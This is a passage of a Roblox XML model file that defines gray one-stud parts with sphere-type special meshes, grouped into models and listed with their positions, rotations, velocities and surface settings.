					</Properties>
					<Item class="Part" referent="RBX2018">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-23.7836437</X>
								<Y>14.2416353</Y>
								<Z>6.12859488</Z>
								<R00>0.67723304</R00>
								<R01>0.551191211</R01>
								<R02>0.487384409</R02>
								<R10>-0.629030645</R10>
								<R11>0.777363896</R11>
								<R12>-0.00507986406</R12>
								<R20>-0.381675035</R20>
								<R21>-0.303139538</R21>
								<R22>0.8731727</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-1.64029789</X>
								<Y>2.96724033</Y>
								<Z>-2.84703588</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>-6.23683882</X>
								<Y>-5.81394815</Y>
								<Z>-3.1966691</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX2019">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX2020">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-23.2962589</X>
								<Y>14.2365551</Y>
								<Z>7.00176764</Z>
								<R00>0.67723304</R00>
								<R01>-0.551191211</R01>
								<R02>-0.487384409</R02>
								<R10>-0.629030645</R10>
								<R11>-0.777363896</R11>
								<R12>0.00507986406</R12>
								<R20>-0.381675035</R20>
								<R21>0.303139538</R21>
								<R22>-0.8731727</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-1.64029789</X>
								<Y>2.96724033</Y>
								<Z>-2.84703588</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>-3.66038895</X>
								<Y>-5.76928663</Y>
								<Z>-4.63452387</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX2021">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX2022">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-22.7450676</X>
								<Y>15.0139189</Y>
								<Z>6.69862795</Z>
								<R00>0.67723304</R00>
								<R01>0.551191211</R01>
								<R02>0.487384409</R02>
								<R10>-0.629030645</R10>
								<R11>0.777363896</R11>
								<R12>-0.00507986406</R12>
								<R20>-0.381675035</R20>
								<R21>-0.303139538</R21>
								<R22>0.8731727</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-1.64029789</X>
								<Y>2.96724033</Y>
								<Z>-2.84703588</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>-2.34669471</X>
								<Y>-7.8357873</Y>
								<Z>-7.54514933</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX2023">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Model" referent="RBX2024">
					<Properties>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">RBX2025</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Part" referent="RBX2025">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-25.9133816</X>
								<Y>17.9162006</Y>
								<Z>6.19300747</Z>
								<R00>-0.873181283</R00>
								<R01>-0.487392157</R01>
								<R02>-0.00185666105</R02>
								<R10>-0.000667837507</R10>
								<R11>0.00500578573</R11>
								<R12>-0.999987245</R12>
								<R20>0.487395227</R20>
								<R21>-0.873168945</R21>
								<R22>-0.00469645718</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-0.026304815</X>
								<Y>2.98744512</Y>
								<Z>-0.00248663989</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>-12.8527584</X>
								<Y>0.329845846</Y>
								<Z>6.87750483</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX2026">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX2027">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-25.9152374</X>
								<Y>16.916214</Y>
								<Z>6.1883111</Z>
								<R00>-0.873181283</R00>
								<R01>0.487392157</R01>
								<R02>0.00185666105</R02>
								<R10>-0.000667837507</R10>
								<R11>-0.00500578573</R11>
								<R12>0.999987245</R12>
								<R20>0.487395227</R20>
								<R21>0.873168945</R21>
								<R22>0.00469645718</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-0.026304815</X>
								<Y>2.98744512</Y>
								<Z>-0.00248663989</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>-12.8692751</X>
								<Y>0.329726934</Y>
								<Z>6.90935373</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX2028">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX2029">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-26.4026299</X>
								<Y>16.9212189</Y>
								<Z>5.31514215</Z>
								<R00>-0.873181283</R00>
								<R01>-0.487392157</R01>
								<R02>-0.00185666105</R02>
								<R10>-0.000667837507</R10>
								<R11>0.00500578573</R11>
								<R12>-0.999987245</R12>
								<R20>0.487395227</R20>
								<R21>-0.873168945</R21>
								<R22>-0.00469645718</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-0.026304815</X>
								<Y>2.98744512</Y>
								<Z>-0.00248663989</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>-15.477807</X>
								<Y>0.307970345</Y>
								<Z>8.36528015</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX2030">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Model" referent="RBX2031">
					<Properties>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">RBX2032</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Part" referent="RBX2032">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-21.061739</X>
								<Y>5.86629534</Y>
								<Z>14.8683395</Z>
								<R00>-0.873181283</R00>
								<R01>0.487392157</R01>
								<R02>0.00185666105</R02>
								<R10>-0.000667837507</R10>
								<R11>-0.00500578573</R11>
								<R12>0.999987245</R12>
								<R20>0.487395227</R20>
								<R21>0.873168945</R21>
								<R22>0.00469645718</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-0.026304815</X>
								<Y>2.98744512</Y>
								<Z>-0.00248663989</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>13.0343561</X>
								<Y>0.545984566</Y>
								<Z>-7.299541</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX2033">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX2034">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-21.0598831</X>
								<Y>6.86628246</Y>
								<Z>14.8730364</Z>
								<R00>-0.873181283</R00>
								<R01>-0.487392157</R01>
								<R02>-0.00185666105</R02>
								<R10>-0.000667837507</R10>
								<R11>0.00500578573</R11>
								<R12>-0.999987245</R12>
								<R20>0.487395227</R20>
								<R21>-0.873168945</R21>
								<R22>-0.00469645718</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-0.026304815</X>
								<Y>2.98744512</Y>
								<Z>-0.00248663989</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>13.0508747</X>
								<Y>0.546103477</Y>
								<Z>-7.3313899</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX2035">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX2036">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-20.5724907</X>
								<Y>6.86127663</Y>
								<Z>15.7462053</Z>
								<R00>-0.873181283</R00>
								<R01>0.487392157</R01>
								<R02>0.00185666105</R02>
								<R10>-0.000667837507</R10>
								<R11>-0.00500578573</R11>
								<R12>0.999987245</R12>
								<R20>0.487395227</R20>
								<R21>0.873168945</R21>
								<R22>0.00469645718</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-0.026304815</X>
								<Y>2.98744512</Y>
								<Z>-0.00248663989</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>15.6594067</X>
								<Y>0.567860067</Y>
								<Z>-8.78731632</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX2037">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX2038">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-24.5898552</X>
							<Y>10.3336821</Y>
							<Z>11.1369514</Z>
							<R00>-0.826680541</R00>
							<R01>0.551157296</R01>
							<R02>-0.113247238</R02>
							<R10>0.558058858</R10>
							<R11>0.777406693</R11>
							<R12>-0.290188104</R12>
							<R20>-0.0719001293</R20>
							<R21>-0.303091496</R21>
							<R22>-0.950245202</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">2</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">2</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0.299065888</X>
							<Y>5.66223764</Y>
							<Z>-3.90534902</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>-2.51854944</X>
							<Y>4.72034264</Y>
							<Z>5.58627319</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2039">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-25.1409035</X>
							<Y>13.0046129</Y>
							<Z>10.3869686</Z>
							<R00>-0.826680541</R00>
							<R01>0.551157296</R01>
							<R02>-0.113247238</R02>
							<R10>0.558058858</R10>
							<R11>0.777406693</R11>
							<R12>-0.290188104</R12>
							<R20>-0.0719001293</R20>
